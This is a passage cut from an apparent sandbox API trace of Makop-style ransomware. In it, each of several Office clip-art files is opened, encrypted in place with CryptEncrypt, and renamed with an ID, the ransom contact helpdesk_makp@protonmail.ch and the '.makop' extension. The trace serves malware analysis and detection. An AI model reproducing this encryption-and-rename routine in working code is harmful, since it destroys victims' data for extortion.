ftLastWriteTime.dwLowDateTime=0x21757d00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xed4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00445_.WMF", cAlternateFileName="")) returned 1 [0109.848] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0109.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0109.848] GetProcessHeap () returned 0x48a0000 [0109.848] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0109.848] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0109.849] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0109.849] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0109.853] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.853] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.853] GetProcessHeap () returned 0x48a0000 [0109.853] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0109.853] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0109.853] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.854] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0109.854] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0109.854] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0109.854] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0109.854] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0109.854] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0109.855] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.855] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.855] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.855] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xed4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xed4, lpOverlapped=0x0) returned 1 [0109.855] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xee0, dwBufLen=0xee0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xee0) returned 1 [0109.855] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.855] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xee0, lpOverlapped=0x0) returned 1 [0109.855] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.856] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xfb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.856] SetEndOfFile (hFile=0xf0) returned 1 [0109.863] GetProcessHeap () returned 0x48a0000 [0109.863] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0109.863] GetProcessHeap () returned 0x48a0000 [0109.863] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0109.863] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0109.863] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0109.865] CloseHandle (hObject=0xf0) returned 1 [0109.866] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00453_.WMF", cAlternateFileName="")) returned 1 [0109.866] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0109.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0109.867] GetProcessHeap () returned 0x48a0000 [0109.867] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0109.867] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0109.867] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0109.867] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0109.877] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.877] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.877] GetProcessHeap () returned 0x48a0000 [0109.877] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0109.877] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0109.877] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.878] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0109.878] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0109.878] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0109.878] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0109.878] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0109.879] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0109.879] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.879] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.879] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.879] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x984, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x984, lpOverlapped=0x0) returned 1 [0109.879] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x990, dwBufLen=0x990 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x990) returned 1 [0109.879] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.879] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x990, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x990, lpOverlapped=0x0) returned 1 [0109.880] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.880] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xa64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.880] SetEndOfFile (hFile=0xf0) returned 1 [0109.887] GetProcessHeap () returned 0x48a0000 [0109.887] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0109.887] GetProcessHeap () returned 0x48a0000 [0109.887] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0109.888] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0109.888] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0109.889] CloseHandle (hObject=0xf0) returned 1 [0109.889] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ba86700, ftCreationTime.dwHighDateTime=0x1bd4bea, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ba86700, ftLastWriteTime.dwHighDateTime=0x1bd4bea, nFileSizeHigh=0x0, nFileSizeLow=0xaac, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01080_.WMF", cAlternateFileName="")) returned 1 [0109.889] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0109.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0109.890] GetProcessHeap () returned 0x48a0000 [0109.890] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0109.890] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0109.890] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0109.890] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0109.895] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.895] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.895] GetProcessHeap () returned 0x48a0000 [0109.895] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0109.895] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0109.895] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.895] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0109.895] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0109.895] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0109.896] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0109.896] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0109.896] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0109.896] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.896] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.896] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.896] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xaac, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xaac, lpOverlapped=0x0) returned 1 [0109.897] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xab0, dwBufLen=0xab0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xab0) returned 1 [0109.897] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.897] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xab0, lpOverlapped=0x0) returned 1 [0109.897] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.897] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xb84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.898] SetEndOfFile (hFile=0xf0) returned 1 [0109.905] GetProcessHeap () returned 0x48a0000 [0109.905] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0109.906] GetProcessHeap () returned 0x48a0000 [0109.906] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0109.906] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0109.906] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0109.907] CloseHandle (hObject=0xf0) returned 1 [0109.907] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d186600, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d186600, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x1c08, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01603_.WMF", cAlternateFileName="")) returned 1 [0109.908] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0109.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0109.910] GetProcessHeap () returned 0x48a0000 [0109.910] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0109.910] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0109.910] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0109.910] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0109.915] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.915] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.915] GetProcessHeap () returned 0x48a0000 [0109.915] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0109.915] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0109.915] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.915] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0109.915] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0109.915] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0109.916] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0109.916] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0109.916] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0109.916] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.916] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.916] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.916] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1c08, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1c08, lpOverlapped=0x0) returned 1 [0109.918] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1c10, dwBufLen=0x1c10 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1c10) returned 1 [0109.918] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.918] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1c10, lpOverlapped=0x0) returned 1 [0109.926] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.926] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1ce4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.926] SetEndOfFile (hFile=0xf0) returned 1 [0109.938] GetProcessHeap () returned 0x48a0000 [0109.938] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0109.938] GetProcessHeap () returned 0x48a0000 [0109.938] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0109.938] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0109.938] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft 